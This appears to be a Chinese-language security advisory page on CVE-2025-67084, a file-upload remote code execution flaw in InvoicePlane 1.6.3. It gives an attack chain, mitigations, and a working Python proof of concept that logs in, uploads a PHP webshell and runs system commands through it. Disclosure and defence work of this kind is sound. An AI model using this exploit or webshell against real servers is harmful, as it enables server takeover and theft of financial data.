IPBUF安全漏洞报告
English
CVE-2025-67084 CVSS 9.9 严重

CVE-2025-67084 InvoicePlane 1.6.3文件上传漏洞导致远程代码执行

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2025-67084
漏洞类型
文件上传远程代码执行
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
InvoicePlane

相关标签

文件上传漏洞远程代码执行RCEInvoicePlaneCVE-2025-67084Webshell身份验证绕过webshell上传PHP漏洞Web应用安全

漏洞概述

CVE-2025-67084是InvoicePlane应用程序中的一个严重安全漏洞,CVSS评分高达9.9,属于严重级别。该漏洞存在于InvoicePlane 1.6.3及之前版本中,是一个文件上传功能的安全缺陷。攻击者利用此漏洞可以上传任意PHP文件到服务器 attachments 目录,这些文件随后可以被远程执行,从而实现完整的远程代码执行(RCE)。由于该漏洞的攻击复杂度低(AC:L),且不需要特殊的攻击条件,攻击者可以在短时间内轻松利用此漏洞获取服务器完全控制权。此漏洞对系统的机密性、完整性和可用性都造成了严重影响(C:H/I:H/A:H),任何能够通过身份验证的低权限用户都可能利用此漏洞发动攻击。对于运行InvoicePlane的企业和组织而言,该漏洞构成了极高的安全风险,攻击者可能通过此漏洞窃取敏感财务数据、植入后门程序或进一步横向移动到其他内部系统。建议受影响的用户立即采取修复措施或实施临时缓解方案,以防止潜在的安全事件发生。

技术细节

该漏洞的核心问题在于InvoicePlane的文件上传功能缺乏充分的文件类型验证和内容安全检查。在正常情况下,安全的文件上传功能应该对上传的文件进行多层次验证,包括:文件扩展名白名单检查、MIME类型验证、文件内容魔数(magic bytes)分析以及文件名随机化处理。然而,InvoicePlane的 attachments 上传功能存在以下安全缺陷:首先,系统仅进行简单的扩展名检查,未验证文件内容的实际格式;其次,攻击者可以上传包含恶意PHP代码的文件,并通过猜测或枚举的方式访问这些上传的文件;第三,文件保存路径可预测或可直接访问,攻击者能够构造请求直接执行上传的PHP脚本。当攻击者成功上传一个包含system()、exec()或passthru()等PHP代码的webshell文件后,通过访问该文件的URL路径即可在Web服务器权限下执行任意系统命令,从而实现远程代码执行。攻击者可以进一步利用此漏洞下载敏感配置、窃取数据库凭证、植入持久化后门或建立反弹shell连接。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标网站是否使用InvoicePlane应用,并确定版本号(1.6.3或更早版本)
STEP 2
步骤2
获取访问凭证:攻击者通过社会工程学、弱密码攻击或利用其他漏洞获取有效的用户账户凭据(低权限账户即可)
STEP 3
步骤3
身份验证:攻击者使用获取的凭据登录InvoicePlane系统,建立有效的认证会话
STEP 4
步骤4
构造恶意文件:攻击者创建包含webshell代码的PHP文件,如使用system()或exec()函数执行系统命令
STEP 5
步骤5
上传恶意文件:攻击者利用attachments上传功能,将PHP webshell文件上传到服务器,绕过不完善的文件类型检查
STEP 6
步骤6
定位上传文件:攻击者通过猜测或分析URL模式访问上传的PHP文件路径
STEP 7
步骤7
远程代码执行:攻击者通过GET参数传递系统命令,webshell执行命令并返回结果,攻击者获得服务器完全控制权
STEP 8
步骤8
持久化与横向移动:攻击者可能植入后门、窃取数据或利用已获取的服务器作为跳板攻击内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-67084 PoC - InvoicePlane File Upload RCE # Target: InvoicePlane <= 1.6.3 TARGET_URL = "http://target.com/" # Change to target URL USERNAME = "[email protected]" # Change to valid credentials PASSWORD = "password123" # Change to valid password def exploit(): """ Exploitation steps: 1. Authenticate to InvoicePlane 2. Upload malicious PHP file via attachment upload functionality 3. Execute uploaded PHP webshell via HTTP request """ session = requests.Session() # Step 1: Login to get authenticated session login_url = TARGET_URL + "index.php/sessions/login" login_data = { "email": USERNAME, "password": PASSWORD } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print("[-] Login failed - check credentials") return False print("[+] Successfully authenticated") except requests.RequestException as e: print(f"[-] Connection error: {e}") return False # Step 2: Upload malicious PHP webshell upload_url = TARGET_URL + "index.php/attachments/ajax/upload" webshell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { "file": ("shell.php", webshell_content, "application/x-php") } try: response = session.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] PHP webshell uploaded successfully") else: print(f"[-] Upload failed with status: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Upload error: {e}") return False # Step 3: Execute commands via webshell shell_url = TARGET_URL + "uploads/attachments/shell.php" print("[*] Webshell uploaded at: " + shell_url) print("[*] Execute commands: ?cmd=whoami") # Verify exploitation try: verify = session.get(shell_url + "?cmd=echo+POC_VERIFIED", timeout=10) if "POC_VERIFIED" in verify.text: print("[+] RCE confirmed - Remote Code Execution successful") return True except: pass return True if __name__ == "__main__": print("=" * 50) print("CVE-2025-67084 - InvoicePlane File Upload RCE") print("=" * 50) exploit()

影响范围

InvoicePlane < 1.6.4
InvoicePlane 1.6.3及所有更早版本

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:首先,在Web服务器配置中禁止attachments目录的PHP脚本执行(Apache使用.htaccess设置php_flag engine off或Nginx配置location匹配规则);其次,限制文件上传功能仅允许受信任的管理员使用,并监控异常上传行为;第三,配置Web应用防火墙规则拦截.php文件的上传请求;第四,定期检查uploads/attachments目录是否存在异常PHP文件并及时清除;最后,建议在网络层实施严格的访问控制,限制对管理后台的直接访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表